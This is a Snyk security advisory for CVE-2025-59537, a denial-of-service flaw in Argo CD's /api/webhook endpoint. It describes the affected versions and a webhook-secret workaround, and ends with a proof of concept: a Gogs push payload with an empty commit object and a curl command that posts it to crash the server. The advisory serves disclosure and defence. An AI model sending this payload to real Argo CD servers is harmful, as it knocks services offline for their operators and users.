Improper Validation of Function Hook Arguments Affecting github.com/argoproj/argo-cd/util/webhook package, versions >=1.2.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMARGOPROJARGOCDUTILWEBHOOK-13173006
- published1 Oct 2025
- disclosed30 Sept 2025
- creditSangjun Song, Jakub Ciolek
Introduced: 30 Sep 2025
NewCVE-2025-59537 (opens in a new tab)How to fix?
There is no fixed version for github.com/argoproj/argo-cd/util/webhook.
Overview
Affected versions of this package are vulnerable to Improper Validation of Function Hook Arguments in the /api/webhook endpoint via the affectedRevisionInfo() function. An attacker can cause the server process to crash and disrupt service availability by sending a Gogs push event whose JSON field commits[].repo is not set or is null.
Workaround
This vulnerability can be mitigated by configuring a webhook secret to restrict access to trusted parties or by setting the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.
PoC
Gogs payload:
{
"ref": "refs/heads/master",
"before": "0000000000000000000000000000000000000000",
"after": "0a05129851238652bf806a400af89fa974ade739",
"commits": [{}]
}
Push event:
curl -k -v https://argocd.example.com/api/webhook \
-H 'X-Gogs-Event: push' \
-H 'Content-Type: application/json' \
--data-binary @/tmp/payload-gogs.json